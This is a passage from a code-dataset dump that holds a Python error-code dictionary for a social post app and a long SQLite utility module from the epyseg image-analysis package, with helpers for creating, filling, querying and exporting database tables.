{"api_name": "pathlib.Path", "line_number": 64, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 65, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 66, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 67, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 68, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 69, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 70, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 71, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 72, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 73, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 74, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 75, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 76, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 77, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 78, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 79, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 80, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 81, "usage_type": "call"}, {"api_name": "os.system", "line_number": 100, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 102, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 103, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 112, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 113, "usage_type": "call"}]}
{"seq_id": "14384448995", "text": "import logging\n\n\nlogger = logging.getLogger(__name__)\n\nCHAR_SHORT_MAX_LENGTH_DESCRIPTION = 'Exceeded maximum length of 50 characters.'\nCHAR_LONG_MAX_LENGTH_DESCRIPTION = 'Exceeded maximum length of 255 characters.'\n\n\nERRORS_DICT = {\n    20000: 'Invalid filter.',\n    20001: 'Invalid filter type.',\n    20002: 'Invalid page.',\n    20003: 'Invalid slug.',\n    20004: 'Invalid search.',\n    20005: 'Invalid order.',\n    20006: 'Invalid order values.',\n    20007: 'Invalid query.',\n    20008: 'Post not found.',\n    20009: 'Already shared.',\n    20010: 'Mood not processed.',\n    20011: ('mood_type', 'Already log in a diary'),\n    20012: 'Root not found',\n    20013: 'Cannot comment under.',\n    20014: 'Comment not found',\n    20015: 'Something wrong.',\n    20016: 'Support not found',\n}", "repo_name": "Espeys/agapay", "sub_path": "apps/post/errors.py", "file_name": "errors.py", "file_ext": "py", "file_size_in_byte": 785, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "40036321148", "text": "import sqlite3\nimport traceback\nimport os\nimport numpy as np\nimport math\nimport pandas\nfrom prettytable import PrettyTable\nimport epyseg.SQLite_tools.tools\nfrom epyseg.img import Img, has_metadata, _create_dir\nfrom epyseg.ta.selections.selection import convert_coords_to_IDs\nfrom epyseg.tools.early_stopper_class import early_stop\nfrom epyseg.tools.logger import TA_logger  # logging\nfrom epyseg.utils.loadlist import smart_TA_list,loadlist\nfrom epyseg.ta.tracking.tools import smart_name_parser\nimport pandas as pd\nfrom pathlib import Path\nimport pandas as pd\nimport os\n\nlogger = TA_logger()\n\n# \" need header\"\ndef create_table_and_append_data(db_path, table_name, columns, data, column_types=None, temporary=False):\n    \"\"\"\n    Creates an SQL table in a database and fills it with data.\n\n    Args:\n        db_path (str): The path to the database file.\n        table_name (str): The name of the table to create.\n        columns (list): A list of column names.\n        data (dict): A dictionary containing the data to populate the table, where the keys represent column names and the values represent column data.\n        column_types (list, optional): A list of column types. Defaults to None.\n        temporary (bool, optional): Specifies whether the created table is temporary. Defaults to False.\n\n    Raises:\n        Exception: If an error occurs while creating the table or filling it with data, or when closing the database connection.\n\n    Examples:\n        # >>> columns = ['id', 'name', 'age']\n        # >>> data = {\n        # ...     'id': [1, 2, 3],\n        # ...     'name': ['John', 'Jane', 'Alice'],\n        # ...     'age': [25, 32, 41]\n        # ... }\n        # >>> create_table_and_append_data(\"mydb.db\", \"persons\", columns, data)\n        #\n        # >>> columns = ['id', 'fruit']\n        # >>> data = {\n        # ...     'id': [1, 2, 3],\n        # ...     'fruit': ['apple', 'banana', 'cherry']\n        # ... }\n        # >>> column_types = ['INTEGER', 'TEXT']\n        # >>> create_table_and_append_data(\"mydb.db\", \"fruits\", columns, data, column_types=column_types, temporary=True)\n\n        # >>> columns = ['id', 'fruit']\n        # >>> data = np.array( [['1', 'apple'], ['2', 'banana'], ['3', 'cherry']])\n        # >>> column_types = ['INTEGER', 'TEXT']\n        # >>> create_table_and_append_data(\"mydb.db\", \"fruits\", columns, data, column_types=column_types, temporary=False)\n    \"\"\"\n\n    db = None\n\n    try:\n        db = TAsql(db_path)\n\n        # Drop the table if it already exists\n        db.drop_table(table_name)\n\n        # Prepare the column content for the CREATE TABLE statement\n        col_content = columns\n        if isinstance(col_content, list):\n            if column_types is not None:\n                # Combine the column names and types\n                concat = list(zip(columns, column_types))\n                concat = [str(name) + ' ' + str(type) for name, type in concat]\n                col_content = _list_to_string(concat, add_quotes=False)\n            else:\n                col_content = _list_to_string(col_content, add_quotes=False)\n\n        # Create the table with the specified columns and column types\n        db.cur.execute(\n            'CREATE' + (' TEMPORARY' if temporary else '') + ' TABLE ' + table_name + ' (' + col_content + ')')\n        db.fill_table(table_name, data)\n\n    except:\n        traceback.print_exc()\n        logger.error('Something went wrong...')\n\n    finally:\n        if db is not None:\n            try:\n                db.close()\n            except:\n                traceback.print_exc()\n\ndef get_table_columns(path_to_db, table_name):\n    \"\"\"\n    Given a table name, prints the names of all the columns in the table.\n\n    Args:\n      path_to_db (str): The path to the SQLite database file.\n      table_name (str): The name of the table.\n\n    Returns:\n      None\n\n    Examples:\n      >>> get_table_columns('/media/teamPrudhomme/EqpPrudhomme2/Benoit_pr_Benjamin/coccinelles/latest images_20230614/raw images/N4N4_29_M_1a/ladybug_seg.db', 'elytras_shape')[:2]\n      ['areas_without_holes', 'areas_with_holes']\n    \"\"\"\n    return epyseg.SQLite_tools.tools.get_table_columns(path_to_db, table_name)\n\n\ndef remove_dupes_from_table_and_overwrite_table(db_path, table_name):\n    \"\"\"\n    Removes duplicates from a table and overwrites the table with the deduplicated data.\n\n    Args:\n        db_path (str): The path to the database file.\n        table_name (str): The name of the table to deduplicate.\n\n    Returns:\n        list: The query results.\n\n    # Examples:\n    #     >>> remove_dupes_from_table_and_overwrite_table('database.db', 'my_table')\n    #     [1, 2, 3, 4]\n    \"\"\"\n\n    query_results = []\n    db = None\n\n    try:\n        db = TAsql(db_path)\n\n        headers, data_rows = db.run_SQL_command_and_get_results('SELECT DISTINCT * FROM ' + table_name, return_header=True)\n\n        if not isinstance(data_rows, np.ndarray):\n            data_rows = np.asarray(data_rows, dtype=object)\n        data_rows = data_rows.T\n        finally_formatted_table = {}\n\n        for iii, header in enumerate(headers):\n            try:\n                finally_formatted_table[header] = data_rows[iii].tolist()\n            except:\n                logger.warning('no data to be added --> the column will be empty')\n                finally_formatted_table[header] = []\n\n        db.drop_table(table_name)\n        db.create_and_append_table(table_name, finally_formatted_table)\n\n    except:\n        traceback.print_exc()\n        logger.error('Something went wrong...')\n\n    finally:\n        if db is not None:\n            try:\n                db.close()\n            except:\n                traceback.print_exc()\n\n        return query_results\n\n\n# maybe put this some other place --> this saves a table data and header as csv\n\ndef save_data_to_csv(output_file_name, header, data):\n    \"\"\"\n    Saves data to a CSV file.\n\n    Args:\n        output_file_name (str): The name of the output CSV file.\n        header (list): The list of column headers.\n        data (list): The list of data rows.\n\n    # Examples:\n    #     >>> header = ['Name', 'Age', 'Gender']\n    #     >>> data = [['John', 25, 'Male'], ['Jane', 30, 'Female']]\n    #     >>> save_data_to_csv('output.csv', header, data)\n    \"\"\"\n\n    _create_dir(output_file_name)  # Create directory if it doesn't exist\n\n    if header is not None and header:  # Check if header is provided and not empty\n        db_df = pd.DataFrame(data=data if data else None, columns=header)  # Create a DataFrame with the data and header\n        db_df.to_csv(output_file_name, index=False)  # Save the DataFrame to a CSV file without index\n    else:\n        open(output_file_name, 'w').close()  # Create an empty file if no header is provided\n\n\ndef prepend_to_content(content, thing_to_prepend, auto_convert_tuple_to_list=True):\n    \"\"\"\n    Prepends a value to each element in a nested list or a single list.\n\n    Args:\n        content (list or tuple): The content to prepend the value to.\n        thing_to_prepend (any): The value to prepend.\n        auto_convert_tuple_to_list (bool): Flag to automatically convert tuples to lists.\n\n    Returns:\n        list or tuple: The modified content with the value prepended.\n\n    Examples:\n        >>> content = [['Apple', 'Banana'], ['Orange', 'Mango']]\n        >>> prepend_to_content(content, 'Fruit')\n        [['Fruit', 'Apple', 'Banana'], ['Fruit', 'Orange', 'Mango']]\n    \"\"\"\n\n    if isinstance(content, list) and content:  # Check if content is a non-empty list\n        if isinstance(content[0], (list, tuple)):  # Check if content is a nested list or tuple\n            for iii, cur_content in enumerate(content):\n                if auto_convert_tuple_to_list and isinstance(cur_content, tuple):\n                    cur_content = list(cur_content)  # Convert tuple to list if auto conversion is enabled\n                cur_content.insert(0, thing_to_prepend)  # Prepend the value to each element\n                content[iii] = cur_content  # Update the modified element in the content list\n        else:\n            if auto_convert_tuple_to_list and isinstance(content, tuple):\n                content = list(content)  # Convert tuple to list if auto conversion is enabled\n            content.insert(0, thing_to_prepend)  # Prepend the value to the content list\n    return content\n\ndef query_db_and_get_results(db_path, SQL_command_to_run):\n    \"\"\"\n    Executes an SQL command on a database and retrieves the query results.\n\n    Args:\n        db_path (str): The path to the database.\n        SQL_command_to_run (str): The SQL command to execute.\n\n    Returns:\n        list: The results of the SQL query.\n\n    # Examples:\n    #     >>> query_db_and_get_results('database.db', 'SELECT * FROM customers')\n    #     [['John', 'Doe', 'john.doe@example.com'], ['Jane', 'Smith', 'jane.smith@example.com']]\n    \"\"\"\n\n    from epyseg.ta.database.sql import TAsql  # Import the required module\n    query_results = []  # Initialize an empty list to store the query results\n    db = None\n\n    try:\n        db = TAsql(db_path)  # Create a TAsql object with the specified database path\n        query_results = db.run_SQL_command_and_get_results(SQL_command_to_run, return_header=False)\n        # Execute the SQL command and retrieve the results\n    except:\n        traceback.print_exc()  # Print the traceback in case of an exception\n        logger.error('Something went wrong...')  # Log an error message\n    finally:\n        if db is not None:\n            try:\n                db.close()  # Close the database connection\n            except:\n                traceback.print_exc()  # Print the traceback in case of an exception\n        return query_results  # Return the query results\n\ndef table_exists_in_db(db_path, table_name):\n    \"\"\"\n    Checks if a table exists in a database.\n\n    Args:\n        db_path (str): The path to the database.\n        table_name (str): The name of the table to check.\n\n    Returns:\n        bool: True if the table exists, False otherwise.\n\n    # Examples:\n    #     >>> table_exists_in_db('database.db', 'customers')\n    #     True\n    \"\"\"\n    from epyseg.ta.database.sql import TAsql\n    db = None\n    exists = False\n    try:\n        db = TAsql(db_path)\n        exists = db.exists(table_name)\n    except:\n        traceback.print_exc()\n        logger.error('Something went wrong...')\n    finally:\n        if db is not None:\n            try:\n                db.close()\n            except:\n                traceback.print_exc()\n        return exists\n\n\n# so maybe xlsx file is a good way of storing data in the end... --> TODO maybe too...\ndef table_to_xlsx_with_sheets(db_path, output_xlsx_file):\n    \"\"\"\n    Converts SQL tables in a database to an Excel file with separate sheets for each table.\n\n    Args:\n        db_path (str): The path to the database.\n        output_xlsx_file (str): The path to the output Excel file.\n\n    Returns:\n        None\n\n    Examples:\n        table_to_xlsx_with_sheets('database.db', 'output.xlsx')\n    \"\"\"\n    # TODO maybe truncate tab name to 31 characters to avoid issues in Excel\n\n    # read all the tables and store them to the xlsx db\n    try:\n        db = TAsql(db_path)\n        tables = db.get_tables()\n\n        if db is not None:\n            try:\n                db.close()\n            except:\n                traceback.print_exc()\n\n        conn = sqlite3.connect(db_path)\n        with pd.ExcelWriter(output_xlsx_file) as writer:\n            for table in tables:\n                df = pandas.read_sql_query('SELECT * from '+table, conn)\n                df.to_excel(writer, sheet_name=table, index=False)\n\n        conn.close()\n    except:\n        traceback.print_exc()\n        logger.error('Something went wrong...')\n\n\n\nclass TAsql:\n    def __init__(self, filename_or_connection=None, add_useful_missing_SQL_commands=True):\n        \"\"\"\n        Initializes a TAsql object.\n\n        Args:\n            filename_or_connection (str or sqlite3.Connection): The filename or connection to the SQLite database.\n            add_useful_missing_SQL_commands (bool): Whether to add useful missing SQL commands. Default is True.\n\n        Returns:\n            None\n        \"\"\"\n        self.db_name = filename_or_connection\n        if isinstance(filename_or_connection, sqlite3.Connection):\n            self.con = filename_or_connection\n            self.db_name = None\n            logger.debug('Opened database from connection')\n        elif filename_or_connection is None:\n            # if no file name is specified, create an in-memory database\n            self.con = sqlite3.connect(\":memory:\")\n            self.db_name = ':memory:'\n        else:\n            if not os.path.exists(self.db_name):\n                parent_dir = os.path.dirname(self.db_name)\n                if not os.path.exists(parent_dir) and parent_dir != '':\n                    # if parent folder does not exist, create it so that the db can be created too\n                    os.makedirs(parent_dir, exist_ok=True)\n            self.con = sqlite3.connect(self.db_name)\n            logger.debug('Opened database: ' + str(self.db_name))\n\n        if add_useful_missing_SQL_commands:\n            self.add_useful_missing_SQL_commands()\n        self.cur = self.con.cursor()\n\n    def add_useful_missing_SQL_commands(self):\n        \"\"\"\n        Adds useful missing SQL commands to the SQLite database connection.\n\n        Args:\n            None\n\n        Returns:\n            None\n        \"\"\"\n        self.con.create_function(\"sin\", 1, math.sin)\n        self.con.create_function(\"atan2\", 2, math.atan2)\n        self.con.create_function(\"sqrt\", 1, math.sqrt)\n\n    def drop_table(self, table_name):\n        \"\"\"\n        Drops a table from the SQLite database.\n\n        Args:\n            table_name (str): The name of the table to drop.\n\n        Returns:\n            None\n        \"\"\"\n        self.cur.execute('DROP TABLE IF EXISTS ' + table_name)\n\n    def create_and_append_table(self, table_name, datas, temporary=False):\n        \"\"\"\n        Creates a new table in the SQLite database and appends data to it.\n\n        Args:\n            table_name (str): The name of the table to create.\n            datas (dict): A dictionary containing the column names as keys and the data as values.\n            temporary (bool, optional): Specifies whether the table is temporary. Defaults to False.\n\n        Returns:\n            None\n        \"\"\"\n        # Create the table with the specified column names and types\n        self.create_table(table_name, list(datas.keys()), column_types=get_types_from_data(datas), temporary=temporary)\n\n        # Fill the table with data\n        self.fill_table(table_name, datas)\n\n\n    def create_table(self, table_name, columns, column_types=None, temporary=False):\n        \"\"\"\n        Creates a new table in the SQLite database with the specified columns and column types.\n\n        Args:\n            table_name (str): The name of the table to create.\n            columns (list): A list of column names.\n            column_types (list, optional): A list of column types corresponding to the columns. Defaults to None.\n            temporary (bool, optional): Specifies whether the table is temporary. Defaults to False.\n\n        Returns:\n            None\n        \"\"\"\n        # TODO if types are specified --> need add it\n\n        # Drop the table if it already exists\n        self.drop_table(table_name)\n\n        # Prepare the column content for the CREATE TABLE statement\n        col_content = columns\n        if isinstance(col_content, list):\n            if column_types is not None:\n                # Combine the column names and types\n                concat = list(zip(columns, column_types))\n                concat = [str(name) + ' ' + str(type) for name, type in concat]\n                col_content = _list_to_string(concat, add_quotes=False)\n            else:\n                col_content = _list_to_string(col_content, add_quotes=False)\n\n        # Create the table with the specified columns and column types\n        self.cur.execute('CREATE' + (' TEMPORARY' if temporary else '') + ' TABLE ' + table_name + ' (' + col_content + ')')\n\n    def fill_table(self, table_name, datas):\n        \"\"\"\n        Fills the specified table in the SQLite database with the provided data.\n\n        Args:\n            table_name (str): The name of the table to fill.\n            datas (dict or list): The data to insert into the table. If a dictionary is provided, the values will be inserted as rows in the table.\n\n        Returns:\n            None\n        \"\"\"\n        if isinstance(datas, dict):\n            # Convert the dictionary values to a list\n            datas = list(datas.values())\n\n            # Reorder the data into a more friendly format\n            datas = np.array(datas, dtype=object).T.tolist()\n\n        # TODO this is totally inefficient --> change the code some day to directly handle np.ndarray some day\n        if isinstance(datas, np.ndarray):\n            datas = datas.tolist()\n\n        # Iterate over the data and insert into the table\n        for data in datas:\n            # Convert the data list to a string\n            list_as_string = _list_to_string(data) # bug is here\n\n            # Generate the INSERT INTO command\n            COMMAND = \"INSERT INTO \" + table_name + \" VALUES (\" + list_as_string + \")\"\n\n            # Check if the command has empty values and insert a row of NULL values\n            if COMMAND.endswith('()'):\n                print('empty values creating an empty row filled with NULL')\n                self.cur.execute(\"INSERT INTO \" + table_name + \" DEFAULT VALUES\")\n            else:\n                self.cur.execute(COMMAND)\n\n        # Commit the changes to the database\n        self.con.commit()\n\n    def exists(self, table_name, attached_table=None):\n        \"\"\"\n        Checks if a table exists in the SQLite database.\n\n        Args:\n            table_name (str): The name of the table to check.\n            attached_table (str, optional): The name of the attached table. Defaults to None.\n\n        Returns:\n            bool: True if the table exists, False otherwise.\n        \"\"\"\n        if table_name is None:\n            return None\n\n        # Check if the table exists in the main database\n        if not '.' in table_name:\n            self.cur.execute(\"SELECT COUNT(name) FROM \" + ('' if attached_table is None else str(\n                attached_table) + '.') + \"sqlite_master WHERE type='table' AND name='\" + table_name + \"';\")\n        else:\n            # Split the table name to detect temporary tables\n            master, table = table_name.split('.')\n            self.cur.execute(\"SELECT COUNT(name) FROM \" + str(\n                master) + '.' + \"sqlite_master WHERE type='table' AND name='\" + table + \"';\")\n\n        # If the count is 1, then the table exists\n        if self.cur.fetchone()[0] == 1:\n            return True\n\n        return False\n\n    def save_query_to_csv_file(self, sql_command, output_file_name):\n        \"\"\"\n        Executes an SQL query and saves the results to a CSV file.\n\n        Args:\n            sql_command (str): The SQL command to execute.\n            output_file_name (str): The name of the output CSV file.\n\n        Returns:\n            None\n        \"\"\"\n        import pandas as pd\n\n        # Execute the SQL query and store the results in a pandas DataFrame\n        db_df = pd.read_sql_query(sql_command, self.con)\n\n        # Save the DataFrame to a CSV file\n        db_df.to_csv(output_file_name, index=False)\n\n    def get_tables(self, force_lower_case=False):\n        \"\"\"\n        Retrieves the list of table names in the database.\n\n        Args:\n            force_lower_case (bool): If True, forces the table names to be returned in lowercase.\n\n        Returns:\n            list: The list of table names in the database.\n        \"\"\"\n        try:\n            # Execute an SQL query to retrieve the table names from the database\n            self.cur.execute(\"SELECT name FROM sqlite_master WHERE type='table';\")\n            query_result = self.cur.fetchall()\n            # Unpack the query result to extract the table names\n            names = self._unpack(query_result)\n            if force_lower_case:\n                # Convert table names to lowercase if specified\n                names = _to_lower(names)\n            return names\n        except:\n            # Something went wrong, assume no tables exist\n            return None\n\n    def close(self):\n        \"\"\"\n        Closes the database connection.\n\n        This method commits any pending changes and closes the connection to the database.\n        \"\"\"\n        try:\n            # Commit any pending changes before closing\n            self.con.commit()\n        except:\n            # Ignore any exceptions that occur during commit\n            pass\n\n        logger.debug('Closing database: ' + str(self.db_name))\n        # Close the database connection\n        self.con.close()\n\n    def get_table_header(self, tablename):\n        \"\"\"\n        Retrieves the column names of a table.\n\n        Args:\n            tablename (str): The name of the table.\n\n        Returns:\n            list: The list of column names.\n        \"\"\"\n        # Retrieve the column names using the get_table_column_names_and_types method\n        header = self.get_table_column_names_and_types(table_name=tablename, return_colnames_only=True)\n\n        # Return the column names\n        return header\n\n    def attach_table(self, dbName, nickName):\n        \"\"\"\n        Attaches a new table to the current database.\n\n        Args:\n            dbName (str): The filename of the table to attach.\n            nickName (str): The nickname for the attached table.\n\n        Returns:\n            None\n        \"\"\"\n        if dbName is not None:\n            # Replace backslashes with forward slashes in the filename\n            dbName = dbName.replace('\\\\\\\\', '/').replace('\\\\', '/')\n\n            # Execute the command to attach the table\n            self.execute_command(\"ATTACH DATABASE '\" + dbName + \"' AS '\" + nickName + \"'\")\n\n    def detach_table(self, nickName):\n        \"\"\"\n        Detaches a table from the current database.\n\n        Args:\n            nickName (str): The nickname of the table to detach.\n\n        Returns:\n            None\n        \"\"\"\n        if nickName is not None:\n            # Execute the command to detach the table\n            self.execute_command(\"DETACH DATABASE '\" + nickName + \"'\")\n\n    def execute_command(self, SQL_command, warn_on_error=True):\n        \"\"\"\n        Executes an SQL command on the database.\n\n        Args:\n            SQL_command (str): The SQL command to execute.\n            warn_on_error (bool): If True, prints a warning message on error.\n\n        Returns:\n            None\n        \"\"\"\n        if SQL_command is None:\n            return\n        try:\n            # Execute the SQL command\n            self.cur.execute(SQL_command)\n            self.cur.fetchall()\n            self.con.commit()\n        except:\n            if warn_on_error:\n                traceback.print_exc()\n                logger.error(\n                    'error executing the following command:\\n\"' + str(SQL_command) + '\"' + '\\ntable name:' + str(\n                        self.db_name))\n\n    def EXCEPT(self, table_name, *columns_to_exclude):  # concatTableName=False,\n        \"\"\"\n        Generates a list of column names for a table excluding specified columns.\n\n        Args:\n            table_name (str): The name of the table.\n            *columns_to_exclude (str): Columns to exclude from the generated list.\n\n        Returns:\n            str: A comma-separated string of column names excluding the specified columns.\n        \"\"\"\n        columns_to_exclude = [col.lower() for col in columns_to_exclude]\n        columns = self.get_table_column_names_and_types(table_name, return_colnames_only=True)\n        columns = [col.lower() for col in columns]\n        columns = [col for col in columns if col not in columns_to_exclude]\n\n        # Generate the comma-separated string of column names\n        return ', '.join(columns)\n\n    def run_SQL_command_and_get_results(self, SQL_command, return_header=False, warn_on_error=True):\n        \"\"\"\n        Executes an SQL command and retrieves the results.\n\n        Args:\n            SQL_command (str): The SQL command to execute.\n            return_header (bool): If True, returns the header along with the results.\n            warn_on_error (bool): If True, prints a warning message on error.\n\n        Returns:\n            tuple: A tuple containing the results and optionally the header if return_header is True.\n        \"\"\"\n        if SQL_command is None:\n            if return_header:\n                return None, None\n            return None\n\n        if SQL_command.count(';') > 1:\n            # Split the command and execute the last part\n            SQL_commands = SQL_command.strip().split(';')\n            SQL_commands = [sql_command for sql_command in SQL_commands if sql_command.strip() != '']\n\n            if len(SQL_commands) > 1:\n                last_command = SQL_commands[-1]\n                for command in SQL_commands[:-1]:\n                    self.run_SQL_command_and_get_results(command, return_header=False, warn_on_error=warn_on_error)\n\n                # Execute the last command and retrieve the results\n                return self.run_SQL_command_and_get_results(last_command, return_header=return_header,\n                                                            warn_on_error=warn_on_error)\n\n        try:\n            self.cur.execute(SQL_command)\n            query_result = self.cur.fetchall()\n\n            if return_header:\n                headers = self._unpack(self.cur.description)\n                return headers, query_result\n\n            return query_result\n        except:\n            # Command failed (e.g., table does not exist)\n            if warn_on_error:\n                traceback.print_exc()\n\n            if return_header:\n                return None, None\n            return None\n\n    def clean(self):\n        \"\"\"\n        Cleans the database by removing unnecessary data.\n\n        This operation can lead to a strong size reduction in the database.\n\n        Returns:\n            None\n        \"\"\"\n        logger.debug('Cleaning the database: ' + str(self.db_name))\n        self.run_SQL_command_and_get_results(\"VACUUM;\")\n\n    def get_column(self, table_name, column_name, sort=None):\n        \"\"\"\n        Retrieves the values of a specific column from a table.\n\n        Args:\n            table_name (str): The name of the table.\n            column_name (str): The name of the column.\n            sort (str): The sorting order of the results. Can be 'ASC' for ascending or 'DESC' for descending.\n\n        Returns:\n            list: The values of the specified column.\n        \"\"\"\n        if not self.exists(table_name) or column_name is None:\n            return None\n        try:\n            results = self.run_SQL_command_and_get_results('SELECT \"' + column_name + '\" FROM \"' + table_name + '\"' + (\n                '' if sort is None else 'ORDER BY \"' + column_name + '\" ' + sort), return_header=False,\n                                                           warn_on_error=False)\n            results = self._unpack(results)\n            return results\n        except:\n            return None\n\n    def _unpack(self, lst):\n        \"\"\"\n        Unpacks a list of tuples by extracting the first element from each tuple.\n\n        Args:\n            lst (list): The list of tuples to unpack.\n\n        Returns:\n            list: The unpacked list containing the first element of each tuple.\n        \"\"\"\n        out = [elem[0] for elem in lst]\n        return out\n\n    def get_table_column_names_and_types(self, table_name, return_colnames_only=False, attached_table=None):\n        \"\"\"\n        Retrieves the column names and types of a table.\n\n        Args:\n            table_name (str): The name of the table.\n            return_colnames_only (bool): If True, returns only the column names. If False, returns a dictionary\n                mapping column names to their corresponding types.\n            attached_table (str): The name of the attached table, if applicable.\n\n        Returns:\n            list or dict: The column names and types of the table, depending on the value of return_colnames_only.\n        \"\"\"\n        if not self.exists(table_name, attached_table=attached_table):\n            return None\n\n        if not '.' in table_name:\n            cols_and_types = self.run_SQL_command_and_get_results('PRAGMA ' + ('' if attached_table is None else str(\n                attached_table) + '.') + 'table_info(\"' + table_name + '\");')  # does not return attached ones --> need another code\n        else:\n            master, table = table_name.split('.')\n            cols_and_types = self.run_SQL_command_and_get_results(\n                'PRAGMA ' + master + '.' + 'table_info(\"' + table + '\");')  # does not return attached ones --> need another code\n\n        if cols_and_types is None:\n            return None\n\n        cols_and_types = {col[1]: col[2] for col in cols_and_types}\n\n        if return_colnames_only:\n            return list(cols_and_types.keys())\n        else:\n            return cols_and_types\n\n    def get_min_max(self, table_name, column_name, freq=None, ignore_None_and_string=True, force_numeric=False):\n        \"\"\"\n        Retrieves the minimum and maximum values of a column in a table.\n\n        Args:\n            table_name (str): The name of the table.\n            column_name (str): The name of the column.\n            freq (float or list or tuple): The frequency or range of frequencies at which to sample the data. If None,\n                the minimum and maximum values are returned. If a single float value is provided, it represents both the\n                lower and upper frequency bounds. If a list or tuple of two float values is provided, they represent\n                the lower and upper frequency bounds, respectively.\n            ignore_None_and_string (bool): If True, ignores None and string values when calculating the minimum and maximum.\n            force_numeric (bool): If True, converts values to numeric before calculating the minimum and maximum.\n\n        Returns:\n            tuple: A tuple containing the minimum and maximum values of the column.\n        \"\"\"\n        if table_name is None or column_name is None:\n            return None, None\n\n        sorted_data = self.get_column(table_name, column_name, sort='ASC')\n        if sorted_data is None:\n            return None, None\n\n        # Call sort_col_numpy function with the appropriate parameters\n        return sort_col_numpy(sorted_data, freq=freq, ignore_None_and_string=ignore_None_and_string,\n                              force_numeric=force_numeric, sort=False)\n\n    def getNbRows(self, tableName):\n        \"\"\"\n        Counts the number of rows in a table.\n\n        Args:\n            tableName (str): The name of the table.\n\n        Returns:\n            int: The number of rows in the table.\n        \"\"\"\n        if not self.exists(tableName):\n            return 0\n\n        SQLQuery = \"SELECT COUNT(*) from '\" + tableName + \"';\"\n        value = self.run_SQL_command_and_get_results(SQLQuery)\n\n        try:\n            return value[0][0]\n        except:\n            print('error')\n\n        return 0\n\n    def add_column(self, table_name, column_name, col_type=None, default_value='NULL'):\n        \"\"\"\n        Adds a column to a table.\n\n        Args:\n            table_name (str): The name of the table.\n            column_name (str): The name of the column to be added.\n            col_type (str, optional): The data type of the column. Defaults to None.\n            default_value (str, optional): The default value for the column. Defaults to 'NULL'.\n        \"\"\"\n        if not self.exists(table_name):\n            logger.error('Table ' + str(table_name) + ' does not exist.')\n            return\n\n        self.execute_command('ALTER TABLE ' + table_name + ' ADD COLUMN \"' + column_name + '\"' +\n                             ('' if col_type is None else (' ' + str(col_type) + ' ')) +\n                             ('' if default_value is None else '  DEFAULT ' + str(default_value)) + ';')\n\n    def remove_column(self, table_name, column_name):\n        \"\"\"\n        Removes a column from a table.\n\n        Args:\n            table_name (str): The name of the table.\n            column_name (str): The name of the column to be removed.\n        \"\"\"\n        if not self.exists(table_name):\n            logger.error('Table ' + str(table_name) + ' does not exist.')\n            return\n        try:\n            self.execute_command('ALTER TABLE ' + table_name + ' DROP COLUMN \"' + column_name + '\"')\n        except:\n            # If the column does not exist, there's nothing to drop, but it's not an error.\n            logger.warning(\n                'Column does not exist and could not be dropped: ' + str(table_name) + ' ' + str(column_name))\n            pass\n\n    def print_query(self, SQL_command):\n        \"\"\"\n        Prints the results of a SQL query in a formatted table.\n\n        Args:\n            SQL_command (str): The SQL query to execute and print the results.\n        \"\"\"\n        # Retrieve the header and data from the SQL query\n        header, data = self.run_SQL_command_and_get_results(SQL_command, return_header=True)\n\n        # Create a PrettyTable instance\n        x = PrettyTable(header)\n\n        # Add each row of data to the PrettyTable\n        for row in data:\n            x.add_row(row)\n\n        # Print the PrettyTable\n        print(x)\n\n    def isTableEmpty(self, tableName):\n        \"\"\"\n        Checks if a table is empty or does not exist.\n\n        Args:\n            tableName (str): The name of the table.\n\n        Returns:\n            bool: True if the table is empty or does not exist, False otherwise.\n        \"\"\"\n        if not self.exists(tableName):\n            return True\n\n        if self.getNbRows(tableName) == 0:\n            return True\n\n        return False\n\n    def create_filtered_query(self, SQL_command, filtering_elements_dict=None):\n        \"\"\"\n        Creates a filtered query based on the provided SQL command and filtering elements.\n\n        Args:\n            SQL_command (str): The original SQL command to filter.\n            filtering_elements_dict (dict): A dictionary where the keys are column names and the values are lists of elements\n                to filter.\n\n        Returns:\n            str: The filtered SQL query.\n\n        Examples:\n            filtering_elements_dict = {'area': [120, 130], 'local_ID': [33]}\n            create_filtered_query(SQL_command, filtering_elements_dict)\n            This will return: \"SELECT * FROM (SQL_command) WHERE area IN (120, 130) AND local_ID IN (33)\"\n        \"\"\"\n        if filtering_elements_dict is None:\n            # Empty filter, return the default command\n            return SQL_command\n\n        if not filtering_elements_dict:\n            return SQL_command\n\n        initial_command = 'SELECT * FROM (' + SQL_command + ') WHERE '\n        extra_command = ''\n\n        for kkk, (k, v) in enumerate(filtering_elements_dict.items()):\n            filters = ', '.join(str(f) for f in v)\n            extra_command += ' ' + (' AND ' if kkk > 0 else '') + k + ' IN (%s)' % filters\n\n        query = initial_command + extra_command\n        return query\n\n    def filter_by_clone(self, table_name, cell_label):\n        \"\"\"\n        Filters a database based on a clone table.\n\n        Args:\n            table_name (str): The name of the clone table in the database.\n            cell_label: The cell label image used to filter the database.\n\n        Returns:\n            list: The filtered local IDs.\n\n        Examples:\n            filter_by_clone('tracked_clone', cell_label)\n            This will return a list of filtered local IDs based on the provided clone table and cell label image.\n        \"\"\"\n        coords = []\n        try:\n            coords = self.run_SQL_command_and_get_results('SELECT * FROM ' + table_name, return_header=False)\n        except:\n            traceback.print_exc()\n\n        local_ids = convert_coords_to_IDs(cell_label, coords, forbidden_colors=[0], return_image=False,\n                                          